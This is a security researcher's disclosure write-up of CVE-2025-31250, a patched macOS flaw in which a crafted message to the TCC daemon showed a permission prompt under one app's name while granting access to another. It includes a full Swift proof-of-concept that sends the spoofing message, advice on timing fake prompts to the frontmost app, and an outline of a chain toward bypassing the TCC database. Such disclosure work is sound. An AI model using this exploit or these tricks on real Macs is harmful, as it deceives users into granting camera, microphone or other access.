Can You Really Trust That Permission Pop-Up On macOS? (CVE-2025-31250)

Introduction
It's time to update your Macs again! This time, I'm not burying the lede. CVE-2025-31250, which was patched in today's releases of macOS Sequoia 15.5 et al., allowed for…
- …any Application A to make macOS show a permission consent prompt…
- …appearing as if it were coming from any Application B…
- …with the results of the user's consent response being applied to any Application C.
These did not have to be different applications. In fact, in most normal uses, they would all likely be the same application. Even a case where Applications B and C were the same but different than Application A would be relatively safe (if somewhat useless from Application A's perspective). However, prior to this vulnerability being patched, a lack of validation allowed for Application B (the app the prompt appears to be from) to be different than Application C (the actual application the user's consent response is applied to).
Spoofing these kinds of prompts is not exactly new. In fact, the HackTricks wiki has had a tutorial on how to perform a similar trick on their site for a while. However, their method requires:
- the building of an entire fake app in a temporary directory,
- the overriding of a shortcut on the Dock, and
- the simple hoping that the user clicks on the (now) fake shortcut.
This vulnerability requires none of the above.
TCC
As I explained in my first ever article on this site, TCC is the core permissions system built into Apple's operating systems. It is used by sending messages to the tccd
daemon (or rather, by using functions in the private TCC
framework). The framework is a private API, so developers don't call the functions directly (instead, public API's call the functions under-the-hood as needed). However, all this wrapping cannot hide the fact that the control mechanism is still simply sending messages to the daemon.
The daemon uses Apple's public (but proprietary) XPC API for messaging (specifically the lower-level dictionary-based API). Prior to this vulnerability being patched, any app with the ability to send XPC messages to tccd
could send it a specifically-crafted message that, as described above, would make it display a permission prompt as if it were from one app but then apply the user's response to a completely separate app. But how was this possible, and was it even hard? Before I answer these questions, we need to detour into what will, at first, seem like a completely unrelated topic.
Apple Events
What are Apple Events?
Apple Events are a method of inter-process communication on macOS. As of writing, if you search site:developer.apple.com "apple events"
on Google, one of the very first results will likely be this PDF document titled Introduction to Apple Events. Skimming through this PDF, you could be forgiven for thinking the contents are at all relevant to modern-day programming. You might find it strange that it starts at Chapter 3, but you may then search and find the other PDFs that comprise the book.
Looking closer at the book, you might start to get confused at some of the code snippets. It's not until looking closer that you realize… some of this code is Pascal. You may then hurriedly search the name of the book and find an Amazon listing that includes the publication date: . This is an old book. It predates Mac OS X, and is actually from the era prior (now retroactively known as Classic Mac OS). So wait, if this protocol is that old, why am I talking about it now, in 2025, in the context of modern macOS?
The situation I described above happened to me as I was searching for resources on Apple Events. I was looking into the protocol because really… Apple Events are still part of macOS. While the new kernel introduced with Mac OS X required the technology to be re-architected, the concept and general use still exists to this day.
The most common use-case for Apple events today is automation (telling a app to perform a specific action or set of actions). This can be scripted through the use of Apple's Open Scripting Architecture. The primary language used for these scripts is AppleScript, but JavaScript can also be used. This is similar to the Windows Script Host on Windows. And, like on Windows, this scripting has been used as a vector for malware.
Apple Events and TCC
So what does this have to do with TCC? Well, as of macOS Mojave 10.14, the sending of Apple Events by an app requires specific user consent via TCC. However, attempting to add Apple Events to TCC likely posed a challenge to Apple. Note that much of the following is speculation and I don't want to have to dig up old versions of TCC to validate my theories. However, I do believe they are likely fairly accurate.
As I explained in my previous article, TCC stores user consent results in an SQLite database file located at [User Home Folder]/Application Support/com.apple.TCC/TCC.db
. While it might seem strange to have such sensitive data stored out in the open, this file (and the directory containing it) are generally well-protected. However, this setup has been exploited multiple times in the past. You might already see the potential flaw. Let's put a pin in that and we'll come back to it later on in the article.
Back to the database: among other columns, each row of TCC.db
has
- a column for the app requesting a permission (or rather
service
, as TCC would call it), - a column for the service the app requested, and
- a column for the user's consent response.
This model works great when there is a single resource behind a service. However, with Apple Events, the resource could be any receiving app. Apple's engineers could have simply added an Apple Events
service which, when permission is granted to an application, would allow it to send Apple Events to any app. However, this would still leave the door open for abuse. Instead Apple decided to limit user consent for the sending of Apple Events on a per-receiving-app basis. But how could they do this?
Rows in TCC.db
that denote user consent responses for Apple Events use a fourth column: the indirect object
column. An identifier for the receiving app is placed in this column. While I have only ever seen it used with Apple Events, there is apparently one other service, FileProviderDomain
, that uses it. It's unclear to me if this column existed prior to the Mojave update, but I wouldn't be surprised if it was added for Apple Events, and the uses for other services came later. I could be wrong, but, again, I don't want to dig up old TCC releases to check. I'll leave that as an exercise for the reader.
Anyway, as many consent interactions with TCC do not require the use of this column, the TCC daemon handles messages that do and don't require it (among the many other functions of the daemon) separately. This is done through the string value of the function
key in the XPC dictionary messages sent to the daemon. Specifically, the TCCAccessRequestIndirect
function of the daemon handles messages that need to use the indirect object
column in the resulting row that would be appended to the database.
The TCCAccessRequestIndirect
function included a logic bug that resulted in the behavior I described at the start of this article: where a sender could specify one app which would be used to build and display the user consent prompt while also specifying another that would actually be inserted into the database as the one that requested the service. This bug did not exist in other access-request functions.
Proof-of-Concept
class TCCPromptSpoofer {
public enum Error: Swift.Error {
case actualBundleHasNoIdentifier
case spoofedBundleHasNoExecutablePath
case failedToCreateSecStaticCode(OSStatus)
case failedToCopySigningInformation(OSStatus)
case failedToGetRequirementData(OSStatus)
case requirementsDataHasNoBaseAddress
}
/// Spoof a TCC prompt.
/// - Parameters:
/// - spoofedBundle: The bundle that will be shown in the prompt.
/// - actualBundle: The bundle that will actually receive the permissions.
/// - service: The service to spoof.
/// - indirectObject: The indirect object to spoof (mainly used for the AppleEvents service).
/// - useCSReq: Wether to send the code signature requirements to the TCC daemon.
/// - Returns: Whether the user accepted the prompt.
@discardableResult
public static func spoofPrompt(
spoofedBundle: Bundle,
actualBundle: Bundle,
service: String,
indirectObject: String? = nil,
useCSReq: Bool = false
) throws -> Bool {
// We need an actual bundle with an identifier for this to work.
guard let actualBundleID = actualBundle.bundleIdentifier else {
throw self.Error.actualBundleHasNoIdentifier
}
// We also need a spoofed bundle with an executable path for this to work.
guard let spoofedExecutablePath = spoofedBundle.executablePath else {
throw self.Error.spoofedBundleHasNoExecutablePath
}
// We need to create an XPC dictionary to send to the TCC daemon.
let xpcDict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_string(xpcDict, "function", "TCCAccessRequestIndirect")
xpc_dictionary_set_string(xpcDict, "service", "kTCCService\(service)")
// A `target_prompt` value of 2 is the only one without special handling in the TCC daemon, so we use that.
xpc_dictionary_set_int64(xpcDict, "target_prompt", 2)
// <key_part_of_exploit>
// This is the value that will end up being put into the database, giving the actual bundle the permissions.
xpc_dictionary_set_string(xpcDict, "target_identifier", actualBundleID)
xpc_dictionary_set_int64(xpcDict, "target_identifier_type", 0) // A type of 0 means a bundle identifier.
// This is the value that will be used to get the display name of the requesting app for use in the prompt.
xpc_dictionary_set_string(xpcDict, "target_path", spoofedExecutablePath)
// </key_part_of_exploit>
// We make the requirements blob here.
let requirementsBlob =
useCSReq
// We need to get the code signature requirements data of the actual bundle.
? try {
// Make a static code object from the actual bundle.
var staticCode: SecStaticCode?
let staticCodeCreateStatus = SecStaticCodeCreateWithPath(
actualBundle.bundleURL as CFURL, [], &staticCode
)
guard
staticCodeCreateStatus == errSecSuccess,
let secStaticCode = staticCode
else {
throw self.Error
.failedToCreateSecStaticCode(staticCodeCreateStatus)
}
// Get the signing information of the actual bundle.
var information: CFDictionary?
let copySigningInformationStatus = SecCodeCopySigningInformation(
secStaticCode, .init(rawValue: kSecCSRequirementInformation), &information
)
guard
copySigningInformationStatus == errSecSuccess,
let signingInformation = information as? [String: Any]
else {
throw self.Error
.failedToCopySigningInformation(copySigningInformationStatus)
}
// Get the code signature requirements data of the actual bundle.
guard
let requirementsData = signingInformation[kSecCodeInfoRequirementData as String]
as? Data
else {
throw self.Error
.failedToGetRequirementData(copySigningInformationStatus)
}
return requirementsData
}()
// We still need to send *something* as the requirements blob, so fallback to an empty Data object.
: Data()
// Now we put the requirements blob from above into the XPC dictionary.
try requirementsBlob.withUnsafeBytes { bufferPointer in
// This should probably never happen, but it's better to be safe than sorry.
guard let baseAddress = bufferPointer.baseAddress else {
throw self.Error.requirementsDataHasNoBaseAddress
}
// We copy the buffer to a new pointer as, per the documentation, the buffer pointer is only valid
// within the block. This new pointer, while it is defined within the block, should not be subject
// to the same restrictions (hopefully), so it should be safe to put into the XPC dictionary.
let newPointer = UnsafeMutablePointer.allocate(capacity: bufferPointer.count)
newPointer.initialize(
from: baseAddress.bindMemory(to: UInt8.self, capacity: bufferPointer.count),
count: bufferPointer.count
)
xpc_dictionary_set_data(
xpcDict, "target_csreq",
newPointer, bufferPointer.count
)
}
// This key is required by the function, so we either pass in a user-provided value or an empty string.
xpc_dictionary_set_string(xpcDict, "indirect_object_identifier", indirectObject ?? "")
// A `target_prompt` value of 2 is the only one without special handling in the TCC daemon, so we use that.
xpc_dictionary_set_int64(xpcDict, "target_prompt", 2)
// Finally, we send the XPC dictionary to the TCC daemon.
let connection = xpc_connection_create_mach_service("com.apple.tccd", nil, 0)
xpc_connection_set_event_handler(connection) { _ in }
xpc_connection_resume(connection)
let reply = xpc_connection_send_message_with_reply_sync(connection, xpcDict)
let didAccept = xpc_dictionary_get_bool(reply, "result")
return didAccept
}
}
The above code may seem complicated, but really, not all of it is necessary or relevant. The logic bug itself was quite simple. Put simply, when sending an XPC dictionary message to tccd
for the TCCAccessRequestIndirect
function (and with a target_prompt
of 2
)…
- …the name of the bundle at the path passed via the
target_path
key would be used for the GUI consent prompt… - …while the bundle represented by the bundle ID passed via the
target_identifier
key would be the actual one inserted into the database.
Additionally, despite this specifically being a function for access requests with indirect objects, you could just specify an empty string as the indirect object and use the function for several other TCC services that didn't use that column. As for why the TCC daemon has two different fields that can be specified separately when they (logically) should always refer to the same thing: I have no idea. And while this vulnerability would still require the user to respond in the affirmative, it ultimately opened up a way to spoof TCC prompts as if they were coming from any other app on the user's machine. That was obviously not ideal.
Exploiting this Vulnerability
Limitations and Quirks
Another limitation of this vulnerability was that it could only be used with a specific set of TCC services. However, this included many of the major ones such as Microphone, Camera, and the like. Consent prompts for access to specific directories could also be spoofed, but additional layers of security around files made it not very useful (although, unrelated, Apple did recently patch a filesystem-based sandbox escape).
An interesting factor of this vulnerability is that a malicious app could use it and have the user's consent result ultimately apply to another app. While this might not seem useful at first, it might be helpful for sophisticated attacks wherein an attacker has found a way to control another app, but still needs that app to have user consent to a TCC service in order to actually utilize it to its full potential.
Timing The Exploit
Timing when to show a spoofed prompt is key when exploiting this vulnerability. If a TCC consent prompt were to randomly appear to a user, they would likely view it with suspicion and click Don't Allow
. However, if one were to appear at the correct time, the user might end up clicking Allow
.
But when exactly is the correct time
? I'll answer that question with a question: did you know that, on macOS, an app can often easily view the list of running applications and can even see which one is currently on top? All a malicious app would have to do is lie in wait for a specific app to launch and/or become the frontmost
app, and only then show a spoofed prompt with the name of that app. As it would appear when the user opens or switches to the app, they might be tricked into thinking the prompt came from that app.
For example, an attacker could wait for the user to open FaceTime before showing a spoofed consent prompt for Camera permissions (hoping that the user doesn't see the FaceTime window already using their camera underneath the prompt). A potentially more fruitful path would be to wait until the user opens Voice Memos and then spoof a prompt for Microphone access. There are several other hypothetical scenarios, but those are two that come to mind. There is one more, though, that could chain into a complete TCC bypass.
Revisiting An Old Exploit
The astute among you might have wondered earlier: if the location of the
. The answer to your question depends on when you're asking. Prior to updates released in mid-July of 2020, the TCC.db
database is dependent on the user's home folder, how is that determined?tccd
daemon simply used the HOME
environment variable This vulnerability (retroactively named $HOMERun by the researcher), opened up a trivial TCC bypass that was as simple as planting a fake TCC.db
in the correct path off of a fake home folder and then setting the value of the HOME
environment variable to that fake home folder.
After the above was patched, the TCC daemon now queries the operating system's user info directory for the user's home folder. This is the proper way it should be done, as it is much more resistant to exploits. But it is not completely resistant. Wojciech Reguła, who I mentioned in one of my previous write-ups, found a way to abuse the plugin system of the GUI user info directory editor built into macOS, while the Microsoft Threat Intelligence team found a bypass they called powerdir
using built-in import and export commands.
There are two things an app generally needs to change the user's home folder. The first is root access. Neither of the above were able to bypass this requirement, and neither was this vulnerability able to do so. However, both of the above were able to bypass the second requirement: user consent to a specific TCC service. While this vulnerability cannot completely bypass this requirement, it can be used to present the user with a spoofed consent prompt for that specific TCC service, hoping that they click Allow
.

Consider the above prompt. Would you click Allow
? If you've read this far in the article your answer is probably no
. But think about if you hadn't read this article. If this prompt appeared when you opened the System Settings app, would you click Allow
then? Maybe something else would tip you off. Maybe you would wonder shouldn't the System Settings app already have permission to do this?
Perhaps, if you were skeptical enough, you would still click Don't Allow
. But I don't think that's what everyone would do.
In this hypothetical example, if you were unfortunate enough to be tricked by the above prompt and click Allow
you would be giving some unknown app half of what it needs to ultimately change your home folder, plant a fake TCC.db
, and bypass the real database. Those who read my first article might wonder about REG.db
, the database that keeps track of all valid TCC.db
databases. Well, unfortunately, TCC provides a function for any app to simply add an entry to REG.db
. Thus, even if it would have stood in the way of this exploit, it can be effectively thwarted by simply adding an entry with the path to the planted TCC.db
.
After receiving the tricked consent above, all the malicious app would need to do is find a way to escalate to root and use that (and the above) to modify the user info directory and change the user's home folder.
To be transparent, I did not automate this process. I leave that as an exercise for the reader, if they so desire. However, I did manually play around with changing my home folder (and adding entries to REG.db
) and did observe TCC using both my real database and one I planted (behaving differently with each as their contents diverged). This makes sense, as operating from any home folder is a legitimate use case for TCC.
Ultimately, changing the user's home folder and planting a fake TCC.db
(while also potentially adding an entry for it in REG.db
) will likely be a viable exploit path now and into the future. Attackers and security researchers will just have to find new ways of breaking their way into modifying the user info directory.
Timeline
Something interesting to note is this: despite this not being my second ever article, this was the second ever bug I reported to Apple. It's taken a long time for Apple to ultimately patch this. By far, of the bugs I have reported (and that Apple has patched) this one has taken the longest amount of time to be patched:
Date | Event |
---|---|
I file the initial report with Apple Product Security (+ several additional clarifying messages) | |
Apple Product Security responds, asking for clarification (+ my response) | |
Later in the day, I discover the potential full TCC bypass and inform Apple Product Security | |
I leave several additional update messages as I continue testing my PoC | |
Apple Product Security thanks me for the information | |
I notice the status is shown as reproduced, so I follow-up, summarizing all of my previous ramblings |
|
Apple Product Security thanks me and reminds me not to disclose the info during their investigation | |
I reach out again, asking for an update on the investigation and my report | |
Apple Product Security replies, saying they are still investigating, and reminds me again to not disclose | |
I reach out again, asking for an update on the investigation and my report | |
Apple Product Security replies, saying there is no update and that they are still investigating | |
I reach out again, asking for an update, sharing what I believe could be a simple patch for the vulnerability: validating that the two fields refer to the same app | |
Apple Product Security replies, saying they are still investigating | |
I reach out again, asking for an update, reiterating my proposed simple patch | |
Apple Product Security replies, saying they are still investigating and that they appreciate my patience | |
I notice there is now an estimated timeframe for a patch, and comment appreciatively | |
Apple Product Security replies thankfully | |
Apple Product Security asks me what name I would like to be credited under | |
I provide my response | |
Apple confirms that I will be credited | |
The patch is released |
Conclusion
Miscellaneous Additions
For those wondering, yes TCC is the system behind the Privacy & Security
pane (renamed from Security & Privacy
) in the System Settings app. More specifically, the Apple-Events-related consent results appear under the Automation
section. The Privacy & Security
pane, as a whole, provides a GUI allowing for users to review the consent they have given and (often) allowing them to revoke specific consent responses.
Something ironic that I found is that if an attacker was able to successfully trick a user into allowing it to send Apple Events, the consent result would not appear in System Settings. This would make it so the user would be unable to revoke their consent through the GUI. There is a (fairly undocumented) CLI tool called tccutil
they could use to revoke their consent, but I doubt most users know about it. I've only found it documented by Apple in two places: an old Technical Q&A and an IT training page.
On another note, Apple's Endpoint Security framework recently added support for monitoring modifications to the TCC database. If it works as expected, an app using the framework could provide users with the ability to recognize spoofed prompts by, at the very least, notifying them immediately after the fact which app they actually just gave their consent to. That is, if it's being used in the small window between when Apple implemented these events in their Endpoint Security framework and when they patched this vulnerability.
Apple's Fix
So, what was Apple's fix? To be honest, I'm not entirely sure. When writing this section originally, I downloaded the macOS Sequoia 15.5 RC update file, extracted the tccd
binary from it, and performed some brief static analysis to determine what had changed. I came away with a theory of what it was doing at runtime, but I waited for the final release to confirm. It turns out that my original theory was wrong, and the patch Apple had made was quite a bit more complex. Looking closer, it appears they have addressed several issues with the original vulnerability. Not only can an app no longer spoof a TCC prompt in this way, the ability to simply specify an empty string for the indirect object appears similarly hampered.
Ultimately, it appears these types of messages are now silently dropped by tccd
and no action is taken. I'll probably end up looking through the patch more in order to fully understand it (and I wouldn't be surprised if others do as well), but from some brief probing I have done post-update it does seem to be a good patch. If it's not, I'm sure you'll see another update from me or whoever else finds their way around it at some point in the future. If there is something Apple missed, hopefully it doesn't take them another year to patch it!
Final Thoughts
If there's anything I've learned through security research, it's that if I want this vulnerability to pop I should give it a fancy name. I'm not really creative person, so I'll just pick the first thing that comes to my head.
I'll call this vulnerability: TCC, Who?
.
As always… watch this space.